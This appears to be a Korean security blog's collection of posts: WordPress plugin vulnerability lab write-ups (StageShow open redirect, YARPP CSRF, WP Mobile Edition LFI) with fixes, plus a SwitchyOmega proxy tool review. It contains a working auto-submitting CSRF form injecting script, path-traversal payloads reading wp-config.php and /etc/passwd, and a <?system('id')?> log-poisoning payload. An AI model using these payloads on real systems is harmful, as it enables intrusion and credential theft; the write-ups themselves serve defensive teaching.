1. 개요

워드프레스 'StageShow' 5.0.8 이하 버전의 플러그인에서 오픈 리디렉트 취약점이 발견되었다. 해당 취약점에 대한 정보는 wpvulndb.com/vulnerabilities/8073에 올라와 있으며, PoC 코드를 제공하고 있다.

그림 1. StageShow 플러그인 취약점

2. 취약한 플러그인 설치하기

이번에 취약한 플러그인 설치하는 방법은 기존에 설치하는 방법과 다른 방법을 사용해본다. 우선 취약한 플러그인을 찾아야 하는데, 찾는 방법은 다음과 같다.

  • 첫째, 워드프레스 홈페이지(wordpress.org)의 플러그인 카테고리에 접속한다.
  • 둘째, 다운로드 받고자 하는 플러그인을 검색한다.
  • 셋째, 검색된 플러그인을 클릭한다.

그림 2. 플러그인 다운로드 1

  • 넷째, 다운로드 버튼에서 마우스 우클릭하여 링크 주소를 복사한다.

그림 3. 플러그인 다운로드 2

  • 다섯째, 붙여넣기 한 링크에서 버전정보를 수정하여 다운로드 실행한다.

그림 4. 플러그인 다운로드 3

이제 다운로드 받은 플러그인을 설치한다. 이번에 설치하는 방법은 zip 형태로 압축 된 파일만 가능하다. 이렇게 설치하는 권장하는 방법이기에 안정적인 설치가 가능하다.

그림 5. 플러그인 업로드 1

그림 6. 플러그인 업로드 2

그림 7. 플러그인 설치 완료

3. 오픈 리디렉트(Open Redirect)

3.1. 개요

오픈 리디렉트는 다른 말로 "검증되지 않은 리디렉션" 또는 "공개된 재전송"으로 부른다. 이 취약점은 사용자의 입력 값 등 외부 입력에 의해 다른 사이트로 리디렉트되는 보안 취약점이다. 오픈 리디렉트를 컨번트 리디렉트(Covert Redirect) 로 부르기도 하는데, 컨버트 리디렉트는 보안 이슈에서 리디렉션이 발생하는 모든 상황(XSS 포함)을 지칭한다.

공격 노출 위치는 쿼리스트링이나 form 데이터 등에서 특정 URL로 재전송을 수행하도록 개발이 된 (또는 포함된) 웹 애플리케이션에서 주로 발생한다.

그림 8. 피싱 페이지

URL을 자세히 보면 returnUrl=[사이트] 가 공격자가 교묘하게 변경해놓은 사이트이다. 오리지널 사이트는 nerddinner.com 이고 공격자가 만든 사이트는 nerddiner.com (n이 없음)이다. 여기서 오픈 리디렉트가 발생하면 공격자가 설정한 페이지로 페이지가 전환된다. 전환된 페이지는 다음 그림과 같이 공격자가 실제 사이트와 동일하게 구성한 피싱 사이트이다.

그림 9. 피싱 사이트

이렇게 사용자가 피싱 사이트에 계정과 비밀번호를 입력하게 되면 계정 도용이 발생한다. 다음 소스코드는 ASP.NET MVC 2에서 제공되는 AccountController.csLogOn 액션 코드이다.

public ActionResult LogOn(LogOnModel model, string returnUrl) 
{ 
    if (ModelState.IsValid) 
    { 
        if (MembershipService.ValidateUser(model.UserName, model.Password)) 
        { 
            FormsService.SignIn(model.UserName, model.RememberMe); 
            if (!String.IsNullOrEmpty(returnUrl)) 
            // returnUrl 이 Null이나 Empty가 아니면 return!!
            // 검증 방식이 너무 단순하다.
            { 
                return Redirect(returnUrl); 
            } 
            else 
            { 
                return RedirectToAction("Index", "Home"); 
            } 
        } 
        else 
        { 
            ModelState.AddModelError("", "The user name or password provided is incorrect."); 
        } 
    } 
     
return View(model); 
}

눈치 챘겠지만, 오픈 리디렉트는 공격 방법이 피싱에 한정되어 있다. 좀 더 자세한 내용을 보기 위해 CWE-601 항목을 살펴보면 다음과 같다. 특히 사람들이 이러한 공격에 당할 수 밖에 없는 이유로, 공격자가 설정하는 위치가 사용자들이 일반적으로 인식하는 도메인의 위치가 아니기에 도메인을 신뢰할 수 있는 사이트로 유지하고 리디렉션 시킬 수 있기 때문이다.

그림 10. CWE-601

그리고 2013 OWASP Top10에서 A10으로 위험한 취약점으로 설명하고 있다.

그림 11. OWASP Top10 A10

4. StageShow Open Redirect Vulnerability

4.1. 개념 증명 코드

이번 워드프레스 플러그인에서 발생한 취약점은 앞서 설명한 오픈 리디렉트 취약점이다. PoC 코드는 다음과 같다.

http://192.168.0.138/wp-content/plugins/stageshow/stageshow_redirect.php?url=http://hakawati.co.kr

4.2. 소스코드 분석

문제가 발생하는 stageshow_redirect.php 파일의 소스코드이다.

<?php
if(!isset($_SESSION))
{
    session_start();
}
 
$_SESSION['REDIRECTED_GET'] = serialize($_GET);
$url = urldecode($_GET['url']);
 
Redirect($url, true);
 
function Redirect($url, $permanent = false)
{
    header('Location: ' . $url, true, $permanent ? 301 : 302);
    die;
}
 
?>

소스코드를 분석해보면 사용자의 입력을 받아 저장하는 변수 url에 대한 값을 검증 없이 301또는 302 리디렉션을 발생시킨다. 이 문제를 해결하려면 조건문을 이용하여 url에 대한 검증 작업을 해야 한다.

4.3. 패치

StageShow 5.0.8 에서 발생한 이번 문제는 5.0.9 버전으로 패치하면서 해결됐다.

그림 12. StageShow 5.0.9 패치 로그

이번에는 패치 비교를 meld를 이용하지 않고, 오픈 소스 개발자들이 패치 할 때 남기는 패치 로그를 확인해본다. 보통 패치로그는 패키지를 설치하는 시스템에 남아 있거나 레파지토리에서 요청하여 받아 볼 수 있다. 하지만 워드프레스의 경우 웹 애플리케이션에서 직접 확인 가능하다.

  • 첫째, 워드프레스 홈페이지에서 플러그인 다운로드 받는 페이지로 방문한다.
  • 둘째, 해당 페이지에서 개발자(Devlopers) 카테고리를 선택한다.
  • 셋째, 로드된 항목에서 "Browse in Trac"을 클릭한다. (TracBrowser 라 부른다)

그림 13. Browse in Trac

  • 넷째, 패치한 5.0.9 버전 검색한다.

그림 14. 패치한 5.0.9 버전 검색

  • 다섯째, 검색 결과에서 릴리즈 노트를 선택한다.

그림 15. 릴리즈 버전 선택

패치 노트를 보면, 8개의 수정된 파일과 1개의 삭제된 파일이 보여진다. 문제가 발생하는 stageshow_redirect.php 파일은 삭제되어 시큐어코딩 관련된 부분은 확인하지 못했다.

그림 16. 패치 로그

5. 대응방안

5.1. 시큐어코딩

7 페이지에서 언급한 취약한 소스코드가 어떤 형태로 검증을 하고 대응하는지 확인해본다.

다음 소스코드는 IsLocalUrl 함수를 통해 url 변수에 저장된 웹 주소를 검증한다. 이 클래스에서 핵심은 IsUrlLocalToHost 메소드이다.

public bool IsLocalUrl(string url) { 
    return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost( 
        RequestContext.HttpContext.Request, url); 
}

IsUrlLocalToHost 메소드는 실제 입력 받은 데이터에서 유효성을 검사하는 로직이 들어가 있다. 몇 가지 분석하면 absoluteUri는 URI의 모든 속성을 가져온다. 두 번째 조건문에서 메인 도메인과 url 파라미터에 입력된 도메인을 비교하여 같으면 리턴하고 다르면 다음 조건으로 넘어간다. 만약 위 조건이 다르면, 시작 문자열이 httphttps가 아니고 로컬 호스트인 경우 로컬호스트 주소를 상대주소로 변경하여 반환한다.

public static bool IsUrlLocalToHost(this HttpRequestBase request, string url) { 
    if (url.IsEmpty())  
    { 
        return false; 
    } 

    Uri absoluteUri; 
    if (Uri.TryCreate(url, UriKind.Absolute, out absoluteUri)) { 
        return String.Equals(request.Url.Host, absoluteUri.Host, 
                    StringComparison.OrdinalIgnoreCase); 
    } 
    else { 
        bool isLocal = !url.StartsWith("http:", StringComparison.OrdinalIgnoreCase) 
            && !url.StartsWith("https:", StringComparison.OrdinalIgnoreCase) 
            && Uri.IsWellFormedUriString(url, UriKind.Relative); 
        return isLocal; 
    } 
}

이제 기존의 LogOn 클래스에서 returnUrl을 검증하기 위해 만들어놓은 IsLocalUrl 메소드를 다음과 같이 사용한다.

public ActionResult LogOn(LogOnModel model, string returnUrl) 
{ 
    if (ModelState.IsValid) 
    { 
        if (MembershipService.ValidateUser(model.UserName, model.Password)) 
        { 
            FormsService.SignIn(model.UserName, model.RememberMe); 
            if (IsLocalUrl(returnUrl)) 
{ 
                return Redirect(returnUrl); 
            } 
            else 
            { 
                return RedirectToAction("Index", "Home"); 
            } 
        } 
        else 
        { 
            ModelState.AddModelError("", "The user name or password provided is incorrect."); 
        } 
    } 
     
return View(model); 
}

6. 참조 사이트


1. 개요

인터넷 익스플로러에 플러그인 형태로 설치하는 다양한 응용프로그램이 있지만, 매번 더 나은 응용프로그램을 찾아야 하는 불편함을 가지고 있었다. 또한 사용하고 싶은 기능에 대해 충분한 검색과 테스트가 필요했다. 하지만 예전부터 파이어폭스는 플러그인으로 다양한 기능들을 제공하기에 많은 사람들이 파이어폭스를 이용하여 웹 해킹을 진행해 왔었다. 그래서 파이어폭스의 다양한 플러그인들은 웹 해킹에 많은 지원을 하고 있었다.

2008년 크롬 브라우저가 나타났고, 당시 다양한 플러그인이 없었지만, 현재는 플러그인을 어떻게 활용하는가에 따라 고급적인 브라우저로 변모할 수 있다. 이번에 살펴볼 도구는 도구는 크롬의 플러그인 SwitchyOmega이다. 웹 해킹을 진행하는데 있어 요청과 응답 패킷을 분석하기 위해 프록시 설정을 하는데, 이를 원활하게 사용할 수 있도록 도와주는 크롬 확장 기능이다.

그림 1. SwitchyOmega

2. 도구 리뷰

도구의 모든 기능을 살펴볼 필요는 없다. 다만 필수 기능을 우선 확인해보고 추가적으로 필요한 부분이 있으면 그때 알아볼 필요가 있다. 핵심 기능을 한번 살펴보자.

2.1. 단축키

단축키를 외워두고 사용하는 것은 업무 효율성을 극대화 시킨다. 프록시 기능을 단축키로 제어 가능하며, 세부적인 항목들은 탭(Tab) 키로 제어 가능하다. Configure shortcut을 눌러보면 기본 값으로 Alt + Shift + O로 설정되어 있다. 이 단축키 설정은 크롬 브라우저의 단축키 설정 기능을 활용한다.

그림 2. 단축키 기능

2.2. 내보내기 / 가져오기

프록시 설정에 뭐가 있는가 생각 할 수 있지만, 이 도구는 프록시를 좀 더 자세하게 설정할 수 있다. 만약 누군가가 프록시를 이용하여 웹 해킹을 진행하다가 인력교체가 된다면 설정한 내용을 "내보내기"하여 인수인계 받는 다른 사용자가 "가져오기" 할 수도 있지 않을까?

그림 3. 가져오기 / 내보내기

2.3. 프록시 설정

프록시를 설정하는 부분에선 늘 설정하듯이 구성한다. 프로토콜은 당연히 웹 해킹을 하기 위해서 HTTP로 설정하고, 로컬에서 프록시 역할을 하는 도구(버프 슈트, 파로스 등)에 맞춰 설정한다. 마지막으로 Apply changes 초록색 버튼을 눌러 설정을 저장한다.

별도로 바이패스 리스트(Bypass List)는 프록시에 잡히지 않도록 하기 위해 구성할 수 있는 기능이다. 크롬 프록시 관련 API에서 제공하는 기능을 적극 활용하는 것으로 보여진다. 

https://developer.chrome.com/extensions/proxy#bypass_list

바이패스 리스트는 간단하게 생각해서 화이트 리스트라 생각하면 된다. 예를 들어 *.google.*을 입력한다면, 구글을 제외한 모든 사이트가 프록시를 이용하게 된다. 

그림 4. 프록시 설정

3. 활용

SwitchyOmega 설치를 하면 오른쪽 위에 아이콘이 활성화 된다.

그림 5. SwitchyOmega 아이콘 활성화

아이콘을 클릭하면 다음과 같은 리스트를 볼 수 있다. 여기서 사용하는 핵심 기능은 세 가지로 줄일 수 있다.

  • Direct: 프록시 기능을 해제하는데 사용
  • proxy: 앞서 구성한 프록시 설정을 그대로 이용
  • 사이트 이름: 특정 한 사이트만 프록시 설정 하도록 구성하기 위해 사용

그림 7. 도구 기능 항목

물론, 화이트 리스트 뿐만 아니라 블랙 리스트로도 설정 가능하다. 예를 들면 A 사이트를 웹 해킹 한다고 가정하면 A 사이트만 프록시에 사용할 수 있다. 이렇게 특정 사이트 항목에서 proxy를 선택하면 해당 사이트만 프록시가 설정된다. 물론 이 사이트를 제외한 모든 사이트는 프록시 없이 원활히 사용할 수 있다.

그림 7. 특정 사이트만 프록시 설정

화이트 / 블랙 리스트 형태로 프록시를 사용하는 것은 상당히 매력적이다. 그 이유는 웹 해킹을 진행하다가 검색 할 필요가 있는데, 구글은 HTTPS로 인해 이용 제한된다. 그래서 검색하기 위해 매번 프록시를 해제하기 귀찮은 작업이 될 수 있기 때문이다.

그림 8. 프록시로 인해 제한된 구글 서비스 이용

  1. 하카와티 제자 2018.03.31 06:53

    잘 보고 갑니다. 융보관 3기-

1. 개요

워드프레스 'Yet Another Related Posts' (줄여서 YARPP) 4.2.4 버전의 플러그인에서 CSRF(Cross-Site Request Forgery) 취약점이 발견되었다. 해당 취약점에 대한 정보는 www.exploit-db.com/exploits/36954/ 에 올라와 있으며, 취약한 플러그인과 PoC 코드를 함께 제공하고 있다.

그림 1. YARP 플러그인 취약점

YARPP 는 모든 페이지에 특정 콘텐츠를 삽입하는 기능을 제공한다.

1.1. 취약한 플러그인 설치하기

취약한 플러그인의 주소는 www.exploit-db.com/apps/c02d062c0e5143da7f6f1146285d2f25-yet-another-related-posts-plugin.4.2.4.zip 이다. 설치와 관련된 자료는 이곳에서 확인 하여 진행한다. 워드프레스 관리자로 접속하여 플러그인을 활성화 한다.

그림 2. Yet Another Related Posts 활성화

활성화 하면 공격 대상이 되는 페이지인 yarpp 패널 페이지를 볼 수 있다.

그림 3. 플러그인 패널 페이지

2. CSRF 취약점

2.1. 개요

CSRF 취약점은 Cross-Site Request Forgery 약자로 one-click attack, session riding, sea-surf 또는 XSRF라고 부르기도 한다. 간단하게 설명하면, 일반 사용자는 공격자가 의도한 공격을 특정 웹사이트에 요청하게 해서 공격하도록 하는 기술로 설명할 수 있다.

몇 가지 제약사항이 존재하는데, 정리해보면 다음과 같다.

  • 공격자가 미리 공격 내용을 만들어야 한다.
  • 사용자가 직접 해당 공격을 실행하도록 피싱해야 한다.
  • 사용자 입장에서 공격 당하는 서버에 로그인(인증) 되어 있어야 한다.
  • 사용자 모르게 전송한다.

이러한 제약사항을 토대로 만든 시나리오는 다음과 같다.

1. 사용자는 A 사이트에 form 형태로 데이터를 입력하고 로그인한다.

2. A사이트는 사용자에게 인증 세션을 발급하여 로그인 상태를 유지하도록 도와준다.

3. 사용자는 로그아웃 하지 않은 상태에서 공격자가 구성한 악의적인 사이트에 방문한다.

4. 사용자는 공격자가 구성한 악의적인 행위를 발생시키는 form을 클릭한다.

5. 클릭한 form은 사용자 인증 세션을 그대로 사용하여 악의적인 행위를 한다.

이 시나리오를 워드프레스에 적용시켜보면,

1. 사용자는 워드프레스를 관리하기 위해 로그인 한다. (워드프레스에서 로그인은 대부분 권리자 로그인이기에)

2. 워드프레스 관리자 권한의 세션을 할당 받는다.

3. 사용자는 로그아웃 하지 않은 상태에서 공격자가 구성한 악의적인 사이트에 방문한다.

4. 사용자는 공격자가 구성한 악의적인 행위를 발생시키는 form을 클릭한다.

5. 클릭한 form은 사용자 인증 세션을 그대로 사용하여 악의적인 행위를 한다.

그림 4. 워드프레스 CSRF 공격 흐름

2.2. PoC (Proof of Concept)

다음 소스코드는 이 플러그인에서 발생하는 CSRF를 증명하기 위한 PoC 코드이다. HTML 파일을 생성하여 다음 값을 입력한 후, <form> 태그 부분에 구축한 워드프레스 주소를 입력하고 진행한다. 앞서 설명한 전제조건에 맞게 워드프레스 관리자는 로그인이 되어 있어야 한다.


<body onload="document.getElementById('payload_form').submit()">
  <form id="payload_form" action="http://192.168.0.131/wp-admin/options-general.php?page=yarpp" method="POST">
    <input type='hidden' name='recent_number' value='12'>
    <input type='hidden' name='recent_units' value='month'>
    <input type='hidden' name='threshold' value='5'>
    <input type='hidden' name='weight[title]' value='no'>
    <input type='hidden' name='weight[body]' value='no'>
    <input type='hidden' name='tax[category]' value='no'>
    <input type='hidden' name='tax[post_tag]' value='consider'>
    <input type='hidden' name='auto_display_post_types[post]' value='on'>
    <input type='hidden' name='auto_display_post_types[page]' value='on'>
    <input type='hidden' name='auto_display_post_types[attachment]' value='on'>
    <input type='hidden' name='auto_display_archive' value='true'>
    <input type='hidden' name='limit' value='1'>
    <input type='hidden' name='use_template' value='builtin'>
    <input type='hidden' name='thumbnails_heading' value='Related posts:'>
    <input type='hidden' name='no_results' value='<script>alert(1);</script>'>
    <input type='hidden' name='before_related' value='<script>alert(1);</script><li>'>
    <input type='hidden' name='after_related' value='</li>'>
    <input type='hidden' name='before_title' value='<script>alert(1);</script><li>'>
    <input type='hidden' name='after_title' value='</li>'>
    <input type='hidden' name='show_excerpt' value='true'>
    <input type='hidden' name='excerpt_length' value='10'>
    <input type='hidden' name='before_post' value='+<small>'>
    <input type='hidden' name='after_post' value='</small>'>
    <input type='hidden' name='order' value='post_date ASC'>
    <input type='hidden' name='promote_yarpp' value='true'>
    <input type='hidden' name='rss_display' value='true'>
    <input type='hidden' name='rss_limit' value='1'>
    <input type='hidden' name='rss_use_template' value='builtin'>
    <input type='hidden' name='rss_thumbnails_heading' value='Related posts:'>
    <input type='hidden' name='rss_no_results' value='No Results'>
    <input type='hidden' name='rss_before_related' value='<li>'>
    <input type='hidden' name='rss_after_related' value='</li>'>
    <input type='hidden' name='rss_before_title' value='<li>'>
    <input type='hidden' name='rss_after_title' value='</li>'>
    <input type='hidden' name='rss_show_excerpt' value='true'>
    <input type='hidden' name='rss_excerpt_length' value='10'>
    <input type='hidden' name='rss_before_post' value='+<small>'>
    <input type='hidden' name='rss_after_post' value='</small>'>
    <input type='hidden' name='rss_order' value='score DESC'>
    <input type='hidden' name='rss_promote_yarpp' value='true'>
    <input type='hidden' name='update_yarpp' value='Save Changes'>
  </form>
</body>

이제 데이터를 전달받는 http://192.168.0.131/wp-admin/options-general.php?page=yarpp는 yarpp 플러그인을 활성화 해야 볼 수 있으며 관리자가 해당 플러그인을 제어하기 위한 하나의 패널 페이지이다. 해당 패널에서 각각 사용자가 직접 선택하고 입력하는 요소들에 맞춰 각각 정리하여 넘겨준다. 위 PoC코드에 보면 no_resultbefore_related, before_title 에 XSS 발생하도록 설정한다. 위 소스코드를 실행시켜보면 다음과 같은 결과를 볼 수 있다.

그림 5. 실행하기 전 패널 페이지 모습

그림 6. 실행한 후 패널 페이지 모습

그림 6과 같이 스크립트가 삽입된 것을 확인할 수 있으며, 워드프레스에 접속하면 해당 스크립트가 실행되는 것을 확인 할 수 있다.

그림 7. 스크립트 실행 확인

삽입된 위치는 기능에 맞게 포스트의 상단 제목 아래와 하단 댓글 윗 부분에 위치하며 yarpp-related, yarpp-related-none를 클래스로 사용하는 div 태그와 함께 사용된다.

그림 8. 스크립트 삽입된 위치

3. 대응방안

대응방안은 당연히 입력하는 값에 대한 검증을 하는 것이 좋다. 먼저 버전 업그레이드를 통해 해당 플러그인 제작자의 패치 방법을 살펴본다. 취약한 버전은 4.2.4 버전이며, 패치된 버전은 4.2.5 버전이다. 취약한 부분인 options-general.php 파일의 수정된 내용은 비교분석 해보면 다음과 같다.

그림 9. 패치 전, 후

update_yarpp는 최종적으로 데이터가 입력이 다 끝난 후 다음 그림과 같이 업데이트 하는 부분이다.

그림 10. update_yarpp 사용 위치

패치된 내용을 보면, 업데이트 하기 전에 최종적으로 해당 부분을 점검하는 형태로 패치를 하고 있다. 점검하기 위해 사용하는 함수는 check_admin_referer() 함수로 이 함수는 워드프레스에서 제공하는 함수이다.

이 함수는 nonce를 생성하여 무효인 경우 false로 반환한다. 생성된 nonce가 0~12시간 사이에 생성된 것이면 1을 반환하고 12~24시간 사이에 생성된 것이면 2를 반환한다. Nonce는 오로지 한번만 사용할 수 있는 토큰으로 재생공격 방지에 사용하는 것으로 이해하면 된다. 다시 말하면, 관리자가 맞는가? 리퍼러가 정확한가?를 검사해주는 함수이다.

업데이트 한 상태로 동일한 공격을 진행하면 다음과 같이 제대로 실행되지 않은 것을 확인 할 수 있다.

그림 11. 패치 후 PoC 실행 결과

3.1. 기타

기타 대응 방안으로 github에 CSRF를 잘 정리해둔 곳에서 다음과 같이 이야기를 하고 있다. 먼저 알아두면 이해하기 좋은 개념이 있다.

CORS (Cross-Origin Resource Sharing)

크로스 도메인부터 이해하는 것이 좋은데 크로스 도메인은 한번 불러온 코드 안에서 다른 도메인의 데이터를 요청하는 것을 의미한다. 초기에 크로스 도메인을 지원하지 않던 시절에 다른 도메인의 데이터를 요청하지 못하는 이슈 즉, 크로스 도메인 이슈가 발생했는데, 이를 해결하기 위해 만든 것이 CORS이다. 다시 말하면 CORS는 다른 도메인의 데이터를 호출하기 위한 표준이다.

  • Use only JSON APIs

AJAX 호출은 자바스크립트와 한정된 CORS를 사용한다. 하지만 오직 JSON을 사용함으로써 <form>을 전달할 수 있는 방법이 없어지기에 CSRF 공격 가능성을 제거할 수 있다.

  • Disable CORS

CSRF 공격을 완화시킬 수 있는 방법으로 다른 주소로 요청하지 않도록 설정하는 것이다. 만약 좋은 방법은 아니지만 CORS를 허용해야 한다면 오직 OPTIONS, HEAD, GET만 사용해야 한다. 그럼에도 자바스크립트로 인해 우회 할 수 있는 부분이 있어 CORS 자체를 차단하는 것이 좋다.

  • Check the referrer header

리퍼러 헤더를 확인하는 것은 개발자 입장에서 많은 시간이 소모되지만, 문제를 제대로 해결할 수 있다. 예를 들면 리퍼러 헤더가 서버가 아니라면 세션을 로드 할 수 없게 설정한다.

  • GET is always idempotent

GET 요청만을 사용함으로써 데이터베이스의 데이터를 변경하지 않도록 만든다. 하지만 정확하게 사용하지 않으면 CSRF 공격보다 더욱 취약한 상태를 만들 수 있다.

  • Avoid using POST

왜냐하면 <form>은 오로지 GET 그리고 POST를 사용하며, 특히 POST는 PUT, PATCH, DELETE등 다른 형태로 사용하기에 공격 방법을 현저하게 줄일 수 있다.

  • Don't use method override!

일반적으로 많은 애플리케이션들이 일반 양식을 통해 요청을 넣어 패치하여 삭제하는 방법으로 덮어 씌우는(오버라이드) 방법을 사용한다. 하지만 이들은 충분히 CSRF로 악용될 수 있다.

  • Don't support old browsers

오래된 브라우저는 CROS나 보안 정책을 지원하지 않는다. 그래서 오래된 브라우저 버전에 대한 지원을 비활성화하면 CSRF 공격을 최소화 할 수 있다.

  • CSRF Tokens

CSRF 토큰을 사용하는 방법이 있는데 이는 다음과 같이 동작한다.

- 서버는 클라이언트 토큰을 보낸다.

- 클라이언트 토큰을 사용하여 양식을 제출한다.

- 만약 토큰이 유효하지 않는 경우 서버는 요청을 거부한다.

- 공격자는 어떻게든 CSRF 토큰을 수집하기 위해 자바스크립트를 사용할 것이다. 이런 상황에서 CORS를 지원하지 않으면 토큰을 얻을 수 있는 방법이 없다.

4. 결론

CSRF 공격을 처음 이해했을 때, 사용자의 토큰(쿠키, 세션 등)을 알아야 하고, 그것을 쉽게 수행하기 위해 사용자가 로그인 된 상태라는 전제조건 등이 있었다. 전제 조건이 많다라는 건 공격이 까다롭기 때문에 크리티컬한 위협으로 분류하기 어려울 수 있겠다 싶었는데, OWASP에서 2007년 5위, 2010년 5위 그리고 2013년 8위가 CSRF이다. 또한 SANS/CWE Top 25에서는 2011년 12위 이다.

그리고 2007년 금융권 솔루션에서 발생한 CSRF 취약점은 9.3 점수를 받으면서 매우 크리티컬한 취약점으로 분류된 적도 있다. 또한 CWE에서는 352 번으로 분류되고 있다.

그림 13. 2007년 CSRF 취약점 점수

또한 재미있는 것은 XSS (Cross-Site Script)와 CSRF (Cross-Site Request Forgery)에서 동일한 단어가 사용되기 때문에 이 둘의 공격을 착각할 수 있다. 명확한 개념을 알 필요성이 있다.

마지막으로 CSRF와 연관되는 공격으로 BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) 공격과 CRIME (Compression Ratio Info-leak Made Easy) 공격을 이해해 보는 것이 과제로 남아 있다.

5. 참조 사이트


1. 개요

워드프레스 WP Mobile Edition 플러그인에서 LFI와 원격 파일 열람(Remote File Disclosure)취약점이 발견되었다. 해당 취약점에 대한 정보는 www.exploit-db.com/exploits/37244/와  wpvulndb.com/vulnerabilities/7898에 정보가 업로드 되어 있다.

WP Mobile Edition은 모바일 테마를 구성하는 플러그인이기에 플러그인 설치하면 테마도 설치된다. 취약점은 바로 이 테마에서 발생한다. 그리고 이 취약점에는 한가지 문제점이 있다. 2.2.7 버전에서 이 취약점을 패치하여 2.3 버전이 릴리즈 되었음에도 문제가 발생한다. 이 부분에 대해서는 뒤에서 설명한다.

그림 1. https://wordpress.org/support/topic/exploit-not-fixed-in-23

2. LFI 취약점

LFI 취약점은 Local File Inclusion의 약자로 웹 브라우저의 명령을 통해 서버측 언어(Server Side Language - JSP, PHP, ASP 등)에 파일을 포함시켜 내용을 출력한다. 바로 그림 2의 URI 구조에서 uri.php에서 사용하는 변수 url에 웹 서버 시스템의 파일 가리키면 해당 파일의 내용을 볼 수 있는 취약점이다. exploit-db 에서 PoC로 다음과 같이 접속하면 파일 내용을 볼 수 있다.

/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

그림 2. wp-config.php 열람

조금 디렉터리 경로를 수정하여 /etc/passwd 파일을 열람 할 수 있다.

그림 3. /etc/passwd 열람

2.1. LFI 취약점 실험

LFI 취약점을 응용하여 커맨드 인젝션(Command Injection)을 수행하는 방법에는 여러 가지 공개되어 있지만, 이 중에 아파치2 로그를 이용한 방법에 대해 설명한다.

아파치2 로그는 /var/log/apache2 디렉터리에서 관리하며, 특히, 워드프레스 로그는 wordpress.local_access.logwordpress.local_error.log에 작성된다. 여기에 작성되는 이유는 워드프레스 구축하는 과정에서 다음과 같이 wordpress.conf에서 로그 생성 위치를 정의했기 때문이다.

LFI에서 로그를 사용하여 추가적인 공격을 하려면 로그 위치를 추적해야 한다. 그래서 일반적으로 웹 애플리케이션이 설치 했을 때 구성되는 기본 로그 위치는 기억해 두는 것이 좋다. 만약 로그 위치가 바뀌거나 로그 파일명이 변경되었다면 추측 공격(Guessing Attack) 외에는 방법이 없는 것 같다.

<VirtualHost *:80>
        ServerAdmin me@me.local
        ServerName wordpress.local
        DocumentRoot /var/www/wordpress
        <Directory /var/www/wordpress>
                Options -Indexes
                AllowOverride all
                Order allow,deny
                allow from all
        </Directory>

        LogLevel warn
        ErrorLog /var/log/apache2/wordpress.local_error.log
        CustomLog /var/log/apache2/wordpress.local_access.log combined
        ServerSignature Off
</VirtualHost>

Wordpress.local_access.log를 살펴보면 방금 전 진행한 LFI 취약점 로그를 볼 수 있다.

그림 4. LFI 취약점 로그 기록

이렇게 LFI 취약점으로 발생하는 로그를 이용하여 커맨드 인젝션(Command Injection)을 실행할 수 있다. 리눅스 시스템에서 id 명령을 <?system('id')?> 처럼 작성하여 운영한다.

<?system('id')?> 의 삽입은 다양한 방법이 있다. 로그 내용의 구조와 같이 GET 메소드 이후 경로, 통신 방법, HTTP 상태코드, User-Agent 등 볼 수 있다. 버프 스위트(Burp Suite)나 파로스(Paros) 같은 프록시 도구를 이용하여 User-Agent에 <?system('id')?>를 삽입할 수 있다.

URI에 <?system('id')?>를 해보았을 때 기록됨을 확인 할 수 있다. 하지만 추가 진행에 문제가 있는 것을 볼 수 있다.

그림 5. 단순 URI 삽입 후 로그 기록

URI로 삽입한 경우 아스키코드 값으로 저장이 되어 추가적인 공격을 진행이 불가능 한 것을 확인 할 수 있다. User-Agent를 변조하여 로그 기록을 살펴보자.

그림 6. User-Agent 변조 후 로그 기록

이렇게 로그를 기록하였다 하더라도 LFI 취약점을 이용해 로그를 읽도록 실행시켜 보면 동작하지 않는 것을 볼 수 있다.

/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../../../../var/log/apache2/wordpress.local_access.log

그림 7. LFI를 이용하여 wordpress.local_access.log 호출 결과

이러한 원인을 분석 해보니 로그 파일이 저장된 위치와 로그 자체의 퍼미션 문제로 읽어지지 못하는 것을 확인 할 수 있다.

그림 8. 워드프레스 로그 퍼미션과 소유권

또 다른 실험을 해 보았다. Wordpress.conf 파일에서 설정한 로그 위치를 사용자 디렉터리로 옮겨서 퍼미션의 문제가 해결되는지 확인해 보았다. 하지만 다음 그림과 같이 자동으로 생성된 로그 파일의 퍼미션은 쉽게 접근할 수 없는 형태로 생성되고 관리된다.

그림 9. 사용자 디렉터리로 로그 저장 위치 변경과 퍼미션 및 소유권

또 다시 실험적으로 퍼미션을 755 로 수정하여 root가 아닌 사용자가 열람 가능하도록 해보았다. 그러니 LFI 취약점에 의해 내용을 읽었으나 User-Agent로 삽입한 <?system('id')?> 코드가 실행되지 않았음을 확인 할 수 있었다.그 이유는 잘 모르겠다. 아마 아파치 웹 애플리케이션의 최신 버전이 기본으로 이렇게 구성하는 것으로 추측해본다.

3. 대응방안

LFI 취약점 대응방안은 소스코드 수정을 통한 방법 외엔 별다른 방법이 존재하지 않는다고 한다. 우선 이 플러그인을 제작한 제작자의 패치와 비교해 보았다. 비교하기 위해 다운로드 받은 소스코드와 패치를 하고 소스코드 비교를 한다. 분석에 도움을 주는 도구로 meld 가 있다. 이 도구를 이용하여 분석한다.

그림 10. 2.2.7 버전과 2.5 버전의 디렉터리 내부의 파일 비교


소스코드 변경을 통한 대응 방법을 원하는데, 패치하는 버전이 2.2.7에서 2.5 버전으로 급격하게 상승하며 파일 삭제로 마무리 해결 하고 있다. 조금 더 검색해보니 다음 사이트에서 2.2.7 버전에서 발생한 보안 문제점을 2.3버전에서 고쳤다고 이야기 한다.

그림 11. 패치 로그 (https://wordpress.org/plugins/wp-mobile-edition/changelog/)

옛 버전은 https://github.com/wp-plugins/wp-mobile-edition/releases 에서도 구할 수 있다. 이제 2.3 버전을 다운로드 받아 다시 meld 도구를 이용하여 비교해본다.

그림 12. 2.2.7 버전과 2.3 버전의 css.php 소스코드 비교

기존에는 $file 변수에 입력되는 데이터를 검증하지 않아, 리눅스 디렉터리 경로를 추측하여 파일을 열람할 수 있었다. 하지만 패치된 내용에는 입력되는 데이터의 뒤에서 4개의 문자열이 .css 를 가지는지 검증한다. 결국 ../../../../../etc/passwd 와 같이 특정 파일을 열람하는데 끝의 4자리 문자열이 .css가 아니기 때문에 실행되지 않는 것을 볼 수 있다. 이렇게 LFI 취약점은 소스코드에서 URI 파라미터 검증을 통해 문제를 해결한다.

3.1. 문제점

  • 문제점 1
    LFI/RFI 취약점은 최근에는 취약함의 범주에서 벗어나려 하고 있다. 최신 시스템의 지원인지, 웹 애플리케이션의 변화인지 그 원인은 잘 모르겠다.

  • 문제점 2
